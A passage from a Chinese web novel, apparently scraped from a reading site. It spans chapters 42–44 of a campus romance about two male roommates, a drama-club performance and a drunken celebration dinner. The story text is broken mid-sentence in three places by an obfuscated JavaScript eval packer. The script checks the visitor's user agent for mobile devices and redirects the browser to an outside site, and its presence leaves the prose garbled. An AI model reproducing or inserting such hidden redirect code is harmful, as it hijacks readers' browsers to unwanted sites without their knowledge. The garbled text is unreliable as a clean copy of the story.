宁启洄永远都不会知道,310的某对小情侣已经被岑柏意放逐出去了,就为了给他们留点二人世界的空间。 他把给岑柏意带的冰激凌放在桌子上,悄悄凑近岑柏意,状似无意问道:“听若锦说,你求了两颗菩提珠?” 岑柏意手一顿,没管林若锦是怎么知道的,只是看着他的眼睛,点头说是。 还有脸说是! 宁启洄心头莫名起了一股无名火,语气也有些冲,“你该不会给别人了吧?” 岑柏意一怔,随即轻轻勾起嘴角,“差不多吧。” 宁启洄:“?!!” 气死了气死了! 岑柏意见他气呼呼的脸,没忍住,伸手捏了一下。 手感很好,软嫩Q弹。 他就又捏了一下。 岑柏意一下就想到了夏玥女士钻研甜品时做的奶冻。 又像面前这位小气包爱吃的鸡蛋羹,香香软软,入口即化。 “!” 还敢捏他?! 更气了! 宁启洄瞪眼,正要说点什么道德绑架一下他,就见岑柏意伸手挑起脖颈上的细绳。 细长白皙的指节上挂着鲜红色的绳子,绳子末端吊着的一枚白色菩提珠跳出领口,在空中微微晃动。 和他的那枚几乎一模一样。 他的头被轻轻揉了揉,温热的指尖擦过发丝头皮,带起一阵阵细微的酥麻感。 温柔低沉的男声在他耳畔响起,“没给别人,别生气了,嗯?” 42.很配 宁启洄坐在椅子上,莫名没气势。 岑柏意的菩提项链又塞回去了,长袖领口处微微鼓起一小个圆形弧度。 他含笑看垂头丧气的宁启洄,“还气不气了?” 宁启洄咽了下口水,觉得他莫名更低了一头。 岑柏意也不为难他,伸手呼了把他毛茸茸的脑袋,“出去吃饭。” 宁启洄只想自己默默尴尬一会。 刚想拒绝,就听岑柏意继续道:“给个面子。” 宁启洄犹豫。 岑柏意双手合十,“求你。” 他垂着眸子,语气认真,像是虔诚地信徒,在向他的信祈求愿望实现。 宁启洄莫名被蛊惑,点了头。 直到坐在餐厅里,他才反应过来。 “!” 祸水! 宁启洄低头舀汤喝,旁边伸来一直细长好看的手,给他把衣袖折上去,“别流进衣袖里了。” “……!” 宁启洄放下勺子,瓷质的勺子和碗壁轻轻碰撞,发出清脆悦耳的声音。 他看了对面淡定吃饭的男生好几眼,犹豫犹豫道:“你为什么要不菩提珠串成项链啊?” 岑柏意含笑看他,指了指嘴角,“擦擦嘴。” 宁启洄奇怪,擦嘴,发现有白色的浓稠汤汁沾在纸巾上。 是刚才的奶油蘑菇汤。 宁启洄头更低了,不说话。 岑柏意语气里带着笑意,回答了他刚才的问题,“因为我求了两颗,两颗串在手腕上不好看。” 宁启洄抬头,“只是因为这个?” 岑柏意挑眉,反问:“不然?” 他俯身凑近宁启洄,“岁宝以为是什么。” 宁启洄移开视线,“……没什么,我就问问。” 语调有些低,听着带了些自己都察觉不到的失落和委屈。 岑柏意看了几秒,眼里笑意更浓,语气懒懒,“而且——” 宁启洄缓缓抬头:“?” “你不觉得,很配吗?” “!” 宁启洄心跳莫名加快,眼神飘忽,喉咙发紧,“配、配什么啊?” “手串和项链,一看就很配。”岑柏意坐回去,指尖轻轻敲击桌面,“明眼人一看就知道是我送的礼物。” “……?” 不是,这种莫名的存在感是有什么存在的必要啊喂! “那你要让别人看吗?” 不然怎么知道他们是一对的。 不对,是一套的。 也不对,是…… 宁启洄在这边兀自纠结,岑柏意的就已经开口了。 他语气理所当然,“当然不,只让你看。” 宁启洄:“!!!!” 他不知道自己是怎么晕晕乎乎回寝室的,据说是出去约会的小情侣也已经回来了。 林枫晚怪叫一声,把手机凑到宁启洄面前,“阿宁,牧哥和隔壁的花花好上了!” 手机屏幕上是【嗨皮四人小分队】的聊天记录,苏情在群里说,牧哥和隔壁萨摩耶花花好上了。 在餐厅经受过大风大浪的宁启洄现在是波澜不惊,他表情麻木,“哦。” 林枫晚:“?” 不是,牧哥是个小公公,你不该惊讶一下吗? 岑柏意手一顿,状似无意问道:“牧哥是谁?” 江千陵很满意,主战机已经出师了,他不需要僚机时时刻刻背锅了。 看破一切的林枫晚不会再一惊一乍,他淡定解释:“阿宁家的边牧,花花是隔壁的萨摩耶。” 岑柏意:“……” 所以,所谓和小舅以及牧哥去爬山,是说带了条狗? 叫的这么亲密,他还以为…… 岑柏意低笑一声,说知道了。 林枫晚见宁启洄还在神游,便准备给其他两位分享消息,“哦对了,牧哥是个小公公。” “???” 江千陵在喝水,闻言,一口水喷出来。 岑柏意灵巧躲开,还拉走宁启洄。 被喷了个正着的林枫晚眉头抽抽,咬牙道:“江、千、陵!” “宝贝儿我错了我错了。”他赶忙给他擦水,动作有些狼狈。 收拾干净,回想起刚才听到了什么,他脸色一绿,扭头看向被扯到他岑哥身侧的宁启洄,“你家的狗,还挺……挺主观能动的。” 宁启洄:“……” 他终于回神,随口来了一句,“狗随主人。” 精神□□,非常之难能可贵。 “……?” 岑柏意忍不住把视线往他下部扫,直到宁启洄意识到哪里不对劲,对上他莫名古怪的眼神,他眉心一跳,压着声音,“我是说精神上,不是生理上!” 岑柏意淡定道:“精神上也并没有。” 戳都戳不蹦跶的榆木青蛙,哪里主观能动了。 最后,以林枫晚的精辟总结来结束这个话题,“苦了花花了。” 其他人:“……” —— 岑柏意的剧本很快就改完了,把改编版的剧本发到CP气氛组群里。 [《被山匪抢劫后,我成了落魄公主的赘婿》.docx] 常年活跃的社长第一个回应。 【蓝星星】:嗷嗷嗷嗷嗷!正主亲自下场改CP同人本!不过这是什么米奇妙妙名字? 然而没过三秒,这条消息被撤回了,但被刚发了文件的岑柏意和正好打开群聊的宁启洄看到了。 “……” 岑柏意语调上扬,似乎有些疑惑,“什么CP?” 宁启洄心虚,“可能是,我们演的公主和书生CP。” “那同人是……” “就是编剧和演员是同一个人的意思,就是说你自导自演。” 岑柏意惊叹于他浮于表面的成语理解。 “是这样吗。” “是的是的。” 宁启洄快要顶不住岑柏意的目光了,岑柏意才移开眼,笑了一下,点头说好。 也不知道信没信,反正是蒙混过关了。 这是,蓝星星也重新编辑了消息。 【蓝星星】:看完了,very good!(叉腰大笑.jpg) 【全灵】:excellent!(携我睡午觉的哥哥表示感恩,unbelievable!)(全清鞠躬.jpg) 【温明弋】:比社长靠谱很多。 【蓝星星】:小心我揍你啊!@温明弋(哼哼挥拳.jpg) 宁启洄看着这固定活跃的三个人,微微沉默,在群里问这次到底多少人参演。 蓝星星发了六个点,然后可怜巴巴地说,就他们六个,其他社员都说很忙,编外人员也没拉来一个。 难怪当初讨论剧本就那么几个人,他还以为是其他人暂时没来,原来是永远都不会来。 宁启洄客气请教,当初是怎么找上他的。 明明还有一半的社员。 蓝星星也客气回答,因为他帅。 “……” 不过好在,剧本里主要角色只有公主和书生,以及试图棒打鸳鸯但最终和解的养父,其他的,可以反复上场。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037925|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 山匪换件衣服就是良民。 但即便这样,那种大型群像戏人数还是不够,总不能分身。 因此,贫道死了道友也别想活的宁启洄决定,把无所事事的林枫晚和江千陵以及沉迷磕粮的林若锦拉进来。 毕竟,可利用资源绝对不能错过。 剧本写得很好,故事大概,只借用了部分设定,把全篇的悲情基调改甜甜的恋爱,结局happy ending上高度,估计学生们和老师都会喜欢。 剧情吸引人,文笔也很不错,宁启洄很不合时宜地想着,也许岑柏意去写他们的同人文也很不错…… 住脑! 宁启洄,你在想什么! “怎么了?”注意到宁启洄半天没动作,岑柏意低头看他。 宁启洄把头埋在臂弯,靠在桌子上,摇摇头没出声。 如果不是凌乱发丝的遮掩,岑柏意就会发现他耳朵通红,连带着脸颊也烧起来了。 离正式晚会的第一次彩排还有二十天,在这之前,他们得把节目的所有内容都排出来,第二遍第三遍再去适应舞台灯光布局走位等。 时间紧迫,众人在群里决定每隔一天晚上就来一教,或者去其他离得比较近的安静地方排练。 时光飞逝,临近第一次正式彩排的日子,又一次排练结束,几人坐在教室里聊天,岑柏意和他们不熟,聊了几句就和宁启洄坐在一边,安静戳开外卖软件点夜宵。 蓝星星:“哈哈哈哈,是租衣服啦~一米八几的女装可不好租。” “……” 演都演了,穿女装他也不介意。 ……个屁。 即便是再穿一次,他也还是很介意,非常介意。 但他介意没有用,剧本已经定下来了。 他默然地看着蓝星星联系大学城附近的出租服饰的工作室,兴致勃勃问有没有一米八几男生穿的女装,然后店主缓缓扣出一个问号。 “……” 外卖到了,岑柏意取了回来。 “大家排练辛苦了,点了夜宵。”岑柏意把外卖分了分,端着两份走到宁启洄身边。 “好耶!驸马爷万岁!” “附议!驸马爷万岁!” “谢谢。”温明弋深觉不合群,及时补充一句表达自己的感谢,“驸马。” 岑柏意微笑,“不客气,你们也辛苦了。”俨然对他们的打趣全盘接收的模样。 宁启洄:“……”你们真是够了。 等他们点了外卖吃完,蓝星星终于露出一个满意的笑容。 “皇天不负有心人,啊哈哈哈~”蓝星星嘬了口汉堡套餐送的冰阔落,挥舞手机,指点江山,“看看看,这套是不是超级好看!我真是太有审美了哈哈哈!” 宁启洄凑过去看了眼,确实很漂亮,淡青色的长袍,裙摆处修了繁复的柳叶纹,一根纤细的颜色稍浅但缀着金丝线绣纹的腰带,最外面罩了一件轻飘飘如雾的长白纱袍。 确实好看。 见宁启洄没反驳,蓝星星更加嘚瑟,调出另一张图给他看,“本来想选这套的,可惜了,时代背景不太贴合。” 图片上是一套火红的服饰,上面缀着金闪闪的配饰,轻柔的头纱罩下,不过肚脐的短上衣,还有长灯笼裤,看着非常有异域风情。 就很符合宁启洄想象中的异域舞娘的装扮。 他看着模特图露出的大半肚子,一言难尽地瞥了眼兀自傻乐的蓝星星。 难道只是时代背景的问题吗?! 这衣服他穿上去不合适吧。 岑柏意也看了眼,默默点头。 43.演技 最终,蓝星星还未成型的“宁启洄异域舞娘变装计划”被强行扼杀在摇篮里。 宁启洄收拾完蓝星星,又瞥见岑柏意眼里不经意间流露出的遗憾。 “……” 有什么好遗憾的! 剧本定了,服装也定了,戏剧社和310的男人们投入了排练之中——其实还有温明弋和全灵拉来的两位同学。 时光飞逝,很快到了十二月底。 原本第一次彩排是不需要穿正式戏服的,但在岑柏意暗中对戏剧社的支援下,蓝星星财大气粗地表示,扮上才能看到最好的效果。 纯白的衣领衬着宁启洄修长白皙的脖颈,往下是淡青色的长裙,不宽的腰带缀在腰间,即便松松垮垮只作装饰,也轻轻勾勒出他纤细劲瘦的腰肢,上面的金线反射淡淡的光芒,外面的白纱轻薄长袍如云烟一般轻柔,把他的身形衬得朦胧,又更加引人遐想。 蓝星星一拍手,笑嘻嘻道:“好了,戴个假发就完美了!” 一旁的化妆师给他带了假头套,假发质量很好,垂下来的头发轻飘飘的,随风飘动。 她挽起长发,用一根素玉簪子固定。 蓝星星端详片刻,点头道:“不错,很符合落魄公主的形象,有一种素净的美感。” 宁启洄轻轻扯了扯衣服,总觉得这材质不像是出租衣服能看到的质量。 蓝星星笑嘻嘻,“哎呀哎呀,你也不看看我们租衣服多贵。” 宁启洄:“……”哦。 等确定了定妆效果,直接把衣服带走了。 蓝星星化妆技术也很不错,她找工作室的化妆师取经,到时候根据舞台灯光再进行一些细微调整——化了妆再去比赛肯定来不及了,工作室离学校有点远。 化妆师表示可以在校门口等着,但蓝星星想了一下一群人在校门口乖乖排队等化妆的场景,打了个寒颤。 还、还是算了吧。 宁启洄换回自己的衣服,低头理了下T恤的下摆,也就没注意到蓝星星和老板对视时眼里的深意。 宁启洄拎着一副出去,突然想起什么,回头道:“你们为什么不试衣服?” 岑柏意:“……”因为,光顾着做你的衣服,我的那套还是一堆未成型的布料。 蓝星星:“……”如果你们都有衣服,就岑柏意没有,是不是不太合适。 其他人:“……”这个该怎么解释呢,社长让我们先别换。 “?” 见宁启洄还要问什么,蓝星星赶忙插嘴,“快回学校吧,剧本还有点要改动的地方。” “……?”排都排完了,改什么。 温明弋接过话头:“她说是,关于舞台场景设计的部分,有些改动,要适配舞台大小和灯光。” “喔。”宁启洄没再问。 温明弋看了她一眼:编的什么破借口。 蓝星星理亏低头,不欲和他争论。 —— 跨年晚会在12月31日晚上,说是晚会,但也带了些比赛的性质,因此分了一等奖二等奖三等奖和优秀奖。 当天下午,演员们都早早吃了晚饭,去大剧场后台准备。 他们的节目靠前,不需要在观众席后排等待,可以直接进入化妆间。 蓝星星撸起袖子给两位主角上装,毕竟是古代戏,和现代风格还是要有些不同,尤其是男扮女装的宁启洄。 全灵拉进来的那位女生化妆技术也不错,给其余配角上了点颜色就OK,毕竟上台时间不长。 化完妆穿好衣服,宁启洄站在侧边幕布里,悄咪咪往台下看。 大剧场能容纳的人很多,此刻台下一片乌泱泱的人头,看着有点吓人。 在这之中,有一块异常突出的亮色灯牌闪了他的眼——【雷雨!小妈继子CP!】 后面跟了一串爱心。 那人坐得很靠前,宁启洄眯起眼睛看,灯牌在观众席舞得热闹。 是林若锦。 宁启洄听说过,她有个好朋友参演了这部戏。 是的,她演那位小妈。 “……”他突然有种不好的预感。 等《雷雨》的演员们下台,宁启洄走上去上台,避开灯光直射眼睛,却被台下的一个什么东西闪了眼睛。 他定睛一看,林若锦自然地换上另一个七彩炫光灯牌,上面密密麻麻很多字,噼里啪啦闪着光。 宁启洄看着那个闪亮的灯牌,眼前一黑。 灯牌最上面写了【戏剧社】三个大字,然后下面几行密密麻麻写满了剧名和出演人员的名字,甚至找了几个空地插上粉.嫩嫩的爱心小灯泡。 不知道的还以为戏剧社是她新墙头。 嗯,心里还算有点数,没用七百CP这个名头来加油。 不然,明天A大文学系一定会失去一位优秀的同人文写手。 也许是被这兄妹俩坑害颇多,他此刻居然还顽强地战立在台上,对此接受度良好,甚至有空思考,这两兄妹的品味真是一模一样的清奇。 宁启洄稳下心神,开始第一幕戏。 第一幕是写小姐和书生见面的,她和随行丫鬟待在暗处,看着舞台中央灯光下的岑柏意被抢走包裹。 岑柏意演技不错 当然,长得也很不错,宁启洄从头到尾都没关注他们演了什么,制定者岑柏意一个人看。 岑柏意的衣服看着很普通,浅灰蓝色的书生服饰,长发挽起,藏在头顶的帽子里。 很普通的衣服,但岑柏意穿着就是很合身很好看,硬生生穿出一股矜贵之气。 宁启洄忍不住想,这家工作室的衣服真的有点东西的。 又看了眼旁边卖力演出的几位山匪,身形一顿,想,这家店也许品控也不太行,林枫晚穿着跟套麻袋似的,他也算是也算是人形衣架子了,有脸有身高有腹肌的——当然了,岑柏意最是衣架子了。 宁启洄如是想,丝毫没有觉得哪里不对劲。 等岑书生虚弱倒地,宁启洄拎着裙摆靠近他,做作大喊:“咦?怎么会有人倒在这里呀~” 因为剧本从头到尾他都是个女人,所以他必须得掐着嗓子演。 在此之前,宁启洄专门学了几节课的变声,虽然不能完全模仿人的声音,但尖着嗓子学女声还是会了个七八分。 岑柏意看了他一眼,眼里眸光一闪,随即接戏。 宁启洄总觉得,他刚才是在看他穿的这身衣服……难道岑柏意有个穿绿裙的白月光? 担任过多本同人文苦情主角的宁启洄如是猜测,心里却有些不舒服。 演到第一幕结束,宁启洄眸色一动。 要来了要来了! 岑柏意淡然鞠躬作揖,“小生不才,今日便……” 这段话是蓝星星硬性要求不能去掉的,说是能表现书生的谦虚,以及推动后续情节发展。 宁启洄微微出神,想起那天第一次彩排,蓝星星补充说要把这句加上。 岑柏意轻轻念着,突然抬眸看了他一眼,笑道:“是不柴。”挺嫩的。 皮肤白皙有光泽的不柴童子鸡宁启洄:“……”大舌头了吗?没听说有这毛病啊。 莫名土味的蓝星星倒是很满意地点头,这段对话就这么留下来了。 一旁扮演丫鬟的全灵轻轻怼了怼他,宁启洄一个激灵反应过来,这可是在台上啊! 他连忙接话,顺利过了这尬尬的趴。 灯光暗下,几人快速走位,撤道具换道具。 蓝星星在控制室看着灯光忙得火热,对演员们的表现非常满意。 第二幕逐渐开始离谱。 宁启洄脸上挂着笑,内心MMP。 他也能理解,不管是按原来的老套虐恋,还是直接改成happy ending,剧情都很一般,毕竟不像《雷雨》《麦克白》那种不能超越的经典,那就只能从创新入手。 按照设定的剧情,书生之后就要进小姐家当牛马了,然后就是扮演小姐老父亲的管家和书生相互试探,管家以为是书生看穿小姐的公主身份起了邪念,书生以为小姐她爹在考验自己,甚至有一位被管家下令去冒充所谓的隔壁竹马的侍卫来和书生竞争,看看他的决心。 然后就牛头不对马嘴地开始雄.竟。 宁启洄:剧情逐渐离谱了起来。 他也是没想到,有一天,能看到书生岑柏意和侍卫江千陵为了争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045237|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他而吵起来,吵得非常小学鸡。 江侍卫:“我和小姐青梅竹马,小姐对我也有情谊!” 岑书生:“小姐对我恩重如山,我愿为小姐做牛做马!” 宁启洄默默吐槽,对这么整齐,干脆你俩在一起得了。 可以说,书生原本对小姐一见钟情,但并没有一定要得到的意思,是管家和侍卫的反向推动,搞出事来了。 第二幕全程打酱油的宁小姐暗自瞥了眼老管家林枫晚,这货一点都不关心他对象,演完自己这趴就在舞台暗处美滋滋看戏。 “……” 然后,宁启洄适时出场,弱柳扶风地捏住帕子,掐着嗓子大喊:“你们不要再为我争吵啦!” “我知道我美貌善良又体贴人,没人不为我着迷。” “好看到所过之处花朵处处绽放,” 演花朵的几位瞬间倒地枯萎。 “声音如百灵鸟般清灵悦耳,” 演大树站桩的演员伸出裹着棕色衣服的手,拎着一只电子乌鸦嘎嘎叫飘过。 “自带体香香飘万里,迷醉万千少男。” 此话一出,原本调低麦克音量还在争吵的书生和侍卫一顿,同时晕了过去。 “不好了!他们臭晕过去了!”林枫晚尽职尽责喊道,如同一只尖叫鸡,叫声凄厉。 然后,也晕了过去。 他请问是看上他哪了。 宁启洄眉心一跳,继续掐嗓子喊:“我知道我完美无瑕,但在我心里,我都把你们当哥哥看啊~” 这一幕,以他浪.荡不羁的波浪号结束。 第一次看完剧本的宁启洄表示,很难想象这是高冷学神能写出来的剧本,欢乐又沙雕。 与此同时,蓝星星看着自己发挥智慧小脑瓜又强加的一片段,很是满意。 最后一幕到高.潮了,公主恢复了身份,却毅然决然放弃,把一直跟着自己的丫鬟和侍从们留在宫中,自己和书生私奔去种田了——当然,也有一个很不合理的点,老皇帝发现了居然没派人追,而是尊重祝福,甚至专门买了片金土地给他们种。 宁启洄当时看到剧本,觉得岑柏意心中肯定是住着一个爱看happy ending的小天使,剧中也舍不得让CP分开,难怪当时提出要把蓝星星虐恋情深的本子给改了。 灯光彻底暗下去之前,岑柏意伸手搂住宁启洄的腰,掌心的腰很细,他忍不住收了收手,几根手指牢牢扣在他腰间,他慢慢低头凑近他。 宁启洄吓了一跳,下意识要推开,感受到腰间不容拒绝的禁锢之后,才慢慢放松,没有抵抗。 这是在舞台上,最后一点,不能搞砸了。 不过,这和说好的不一样啊! 原本彩排的时候,明明是他俩牵着手,慢慢走入黑暗之中。 为什么就抱在一起了?! 宁启洄来不及多想,看着岑柏意越来越近的脸,下意识闭了眼。 耳畔传来很轻很轻的一声笑,宁启洄睁眼,岑柏意已经把麦关掉了。 灯光完全暗下去,两人对视,仿佛此刻,这片空间只剩下他们两人。 即便周围很暗,但宁启洄依旧看见了岑柏意眼里的热意,或者说是感觉到了,那双漆黑的眼睛一直盯着他,贪恋又克制地流连在他的脸上。 岑柏意的唇落离他脸颊一厘米的位置,只差一点就能碰到,从观众的视角来看,只能看到他的后脑袋和宁启洄正对着这边的头。 就是亲上了! 亲了! 晚会气氛本来就很好,台下阵阵尖叫,有一种磕CP磕到癫狂的热闹。 灯光倏地亮起,两人已经分开,只是依旧挨得很近。 没人知道,借着长袖衣袍的遮挡,岑柏意的手轻轻勾住宁启洄的指尖,眷恋地摩挲了两下。 在宁启洄忍不住悄悄瞪他第三眼之前,他松开手,唇角微勾。 掌声雷动,反响热烈。 演员们都返场,给台下的观众鞠了个躬。 宁启洄想,还好大学晚会没有邀请家长观看一说,不然真是…… 与此同时,七百CP贴里面,这部剧的剪影拍摄开始疯传,女装同人满天飞。 44.庆功 演出圆满结束,戏剧社参演人员们约着去吃饭,是蓝星星和温明弋自己掏的钱包。 结果不管怎么样,但从现场反应来看,是不错的。 所以这也理所应当成为了庆功宴,除了参演的几人,还有个全程没参与但宛若参与、在台下给他们打call打得最卖力的编外人员——林若锦。 宁启洄看着两人宛若亲姐妹的贴贴,眼睛一眯,瞬间想通了很多事情。 庆功宴自然得喝酒,酒过三巡,桌上大多喝了不少,醉的醉,倒的倒。 “该说不说,岑柏意能找到相似度这么、这么高的衣服,真的很难得啊!”蓝星星举着酒杯,醉醺醺地拍了拍宁启洄的肩膀,“穿着很好、好看,小学弟。” 宁启洄:“?” 一旁的温明弋也有些醉了,嗤笑一声,“这是定制,完全照着做的,相似度当然高。” 宁启洄:“???” 哎不是?什么定制?谁买的? 喝了一捏捏酒的宁启洄突然清醒,他在风中凌乱了一会。 下一秒,他瞪大眼,一脸不敢置信,看向身侧的岑柏意,“这是你买的?”不是说租的吗?! 岑柏意自知理亏地低下头,又默默抬头说是,但眼睛就是不肯看宁启洄,一副很心虚的模样。 宁启洄有些好笑地看他,“为什么要买,不是可以租吗?” 喝过酒的岑柏意思维慢半拍,他想了想,缓缓开口:“租的不干净。” “他们会洗的。” “很多人穿过的。”他莫名坚持。 轻微洁癖的宁启洄:“……” 话是这么说没错,但他是什么豌豆公主吗,得了穿别人衣服就会过敏的毛病。 不对,他那天留宿他家,不是穿过了岑柏意的睡衣了吗。 宁启洄脸微微红了,不过好在喝了些酒,也看不太出来。 岑柏意不知道他脑瓜里想些什么,他只是又错开眼,声音更低了,“我想你穿这套。” 哟呵,还委屈上了。 “其实,这不是照着做的,我根据那天的衣服样式重新设计的。”岑柏意继续解释,试图争取到从轻发落。 宁启洄:“……” 那你很棒棒哦,要不要夸夸。 其实在衣服穿上身的一瞬间,宁启洄就感觉到不对劲了,且不说过于舒适的材质和贴合身体的尺寸,上面的花纹和服装样式和模特图其实还是不太一样,但宁启洄当时只以为是模特图拍得不清晰导致的。 岑柏意重新设计的衣服,青色长裙带了些褶皱,衣领处多出一截白色衣领,裙摆绣了竹枝花纹,腰带是偏银色,用金线勾勒出竹叶。 仔细看,其实这套衣服花纹样式更适合男生穿,只是外面的白色纱袍和现代裙摆的女性标签,再加上蓝星星精湛的化妆技术,让变完装的宁启洄更像个弱柳扶风的漂亮小姐。 “所以这衣服留着吧。”岑柏意有些犹豫,但还是抿唇道,“万一还能用上呢。” 语气有一种怕被揍,但又决定冒次险的试探。 宁启洄:“……?” 他请问呢,是还有什么时候能用得上这套裙子? 他看了看岑柏意有点不聚焦的眼神,内心狐疑,这是喝醉了? 宁启洄仔细观察了一会,发现岑柏意面色如常,不见一丝醉意,但眼神确实有些飘忽。 他给江千陵发了条消息。 【岁岁平安】:岑柏意酒量怎么样? 【Анатолий】:时好时坏,看今天的情况,酒量挺差。 这都没喝多少就醉了。 宁启洄一愣,这还能随意控制的? 对面的消息回得很快。 宁启洄抬头看了眼,见江千陵晕晕乎乎把头靠在林枫晚颈窝,目光看过来,眼里却是一片清明。 已经半醉的林枫晚还得费神照顾自己男朋友,烦得要死,啪啪几下拍在他背上,发出沉闷且厚重的声响。 听着就很痛。 但即便是这样,江千陵依旧固守阵地不愿动弹。 ……是真爱没错了。 宁启洄收回略酸的目光,勾起唇角,看向岑柏意的视线逐渐带了些不怀好意。 然后,宁启洄就开始给他灌酒,一直灌一直灌。 这人微微有点醉就敢承认买裙子了,他有点好奇,真醉了会怎么样。 不知道灌了多少,就在宁启洄担心会不会把人给灌吐了的时候,岑柏意说话了。 “你是谁?”岑柏意歪头看他。 没等宁启洄说话,岑柏意就自顾自接上了,“噢,岁宝。” “你是岁宝。”岑柏意重复了一遍,语气肯定,眼睛有些亮。 “岁宝喜欢吃鸡蛋羹。”岑柏意把头歪回来,想了想,准备起身,“我要去给他做。” 有些凌乱的头发随着动作一颠一颠,像一蓬棉花。 宁启洄无声笑笑,好可爱! 喝醉的岑柏意好可爱! 宁启洄把他按下去,不让他走,岑柏意挣扎了几下,眼里蒙上一层水汽。 “放我走,我要去做鸡蛋羹。” 宁启洄:“……” 哈喽? 你还记不记得你做鸡蛋羹是给谁吃的? 这边,岑柏意还在嘀嘀咕咕,“做小蛋糕,岁宝最喜欢吃甜的……芋泥千层,要用荔浦芋头……少放糖,不要太甜……” 似乎在一本正经背菜谱,宁启洄笑了笑,举起杯子往自己嘴里倒,脑海里一幕幕回忆着过去和岑柏意相处的点点滴滴。 原来,他都记得啊,还记得这么清楚。 夜风吹过,宁启洄觉得自己有些醉了,给他灌酒的过程中,自己也喝了不少。 下一瞬,他脑袋沉沉往下坠,眼见着要磕到桌子上发生惨案,一直温暖的大手从旁边伸过来,托住他的脑袋。 似乎是下意识的动作,手的主人并没有意识到什么,宁启洄轻轻蹭了蹭他的手心,乖得像只猫。 江千陵瞥见,偷摸用手机拍了几张,发给岑柏意,然后删除照片,毁尸灭迹。 岑柏意眯起迷离的眼睛,有些迷茫地看着稍微陌生的环境。 半晌,给自己看生气了,他大声道:“我要岁宝!” 然而,当事岁宝在灌酒过程中把自己也灌醉了,并不能回答他。 江千陵:“……”大哥你别找事啊。 其他半醉半醒的被吵得脑仁疼,都看过来。 有人问:“岁宝是谁?” 有人说:“听着像小名。” 有人又问:“谁的小名啊……” 眼见着要猜出真相,江千陵只能即使救场——他也是无意间听林枫晚说起,宁启洄的小名叫这个。 无奈,江千陵只能暂时离开温暖的颈窝,把他喝得烂醉的男朋友扶着靠在椅子上,强行解释:“岁宝是,是岑哥家养的一只猫,银渐层。” 其他人:“嗷嗷,这样啊。” 只有唯一清醒又知晓内情的林若锦眸子一眯,嗅到一丝不同寻常的意味:这好像是,他宁哥的小名。 他哥都不让喊的,岑学长就这么赤条条喊出来了? 十分里有十二分的不对劲! 磕到了! 是糖! 她只恨此时没人能和他一起灌下这杯糖——当然这也不能分享出去,不然一看就知道是她传播的,到时候宁哥不会对她怎么样,但会威胁她哥教训她! 林若锦一脸“好磕!”的表情,感叹号似乎都具象化了。 喝了一些酒的江千陵虽说没醉,但反应也慢了半拍,并没注意到林若锦的异常。 最终,这场庆功宴持续到半夜,吹了一会风,醉得浅的也就醒了,把还没醒的扶回了学校。 喝了不少的宁启洄和岑柏意,被两位醒过来的发小任劳任怨给带回去了。 —— 最终,那套淡青色的长裙还是没扔,但宁启洄也没收,岑柏意把它安置在自己的衣柜里,妥帖地放着。 过了几天,名次出来了,他们这部戏居然获得了二等奖,一等奖是那部话剧社倾情出演的《麦克白》,然后就是他们的超绝CP恋爱戏,并且最高人气奖也是他们的。 所以,奖金的总数额加起来有五千六。 但当知道奖金流程还得走一阵子的时候,宁启洄其实有些头晕。 无他,又到了一年一度的送礼物时间。 他小舅是寒假的生日,他之前赚的钱大多都补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056669|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴生活费了——毕竟三天两头出去吃饭,就宁先生施舍的那点生活费根本不够。 还有一部分花在了集邮上,前阵子收了一套私人藏家出手的整版邮票,贵得很,花光了他剩下的积蓄。 他现在口袋空空,还得给小舅买礼物。 太难了。 · 一月之后,很快便迎来了期末考试。 宁启洄一月没有去做家教,全靠苏女士接济过活。 考完最后一科,几人也准备一起吃了顿饭就各回各家各找各妈了。 当天晚上,只剩下岑柏意和宁启洄在寝室里。 岑柏意还有点事情要忙,准备待几天再回去,而宁启洄是在为自己的生计发愁。 他在想,是求宁先生来得比较快,还是去买彩票比较实际。 这种事情不能找苏女士,毕竟是给她亲弟弟送礼物,还找她要钱属实是说不过去。 岑柏意拎了两杯奶茶回来,递过一杯给他。 见他愁眉苦脸的,便开口问道:“怎么了?” 宁启洄叹气,“在想赚钱的事情。” “……?” 为什么宁大少爷总是很缺钱的样子。 岑柏意忽然瞥见宁启洄手机屏幕上的消息,那是一个备注为【隔壁阿姨三大爷家小侄子同学的朋友】的人。 他看见这类似于绕口令的备注,神色微微一震。 宁启洄:“……”没办法,不能求到关系太近的人上,不然和直接进自家公司有什么区别。 而且这样宁总肯定会知道,然后嫌他丢他的人。 对话后面附赠一长串工作介绍。 大概就是电子厂大螺丝了,月薪一千八,不包吃不包住,迟到扣一个月工资,无偿加班。 ……认真的吗? 两人都微微沉默了。 对面的人发来一个笑脸,问他考虑得怎么样。 再次沉默。 半晌,宁启洄破罐子破摔,“这是……托关系找的寒假工。” 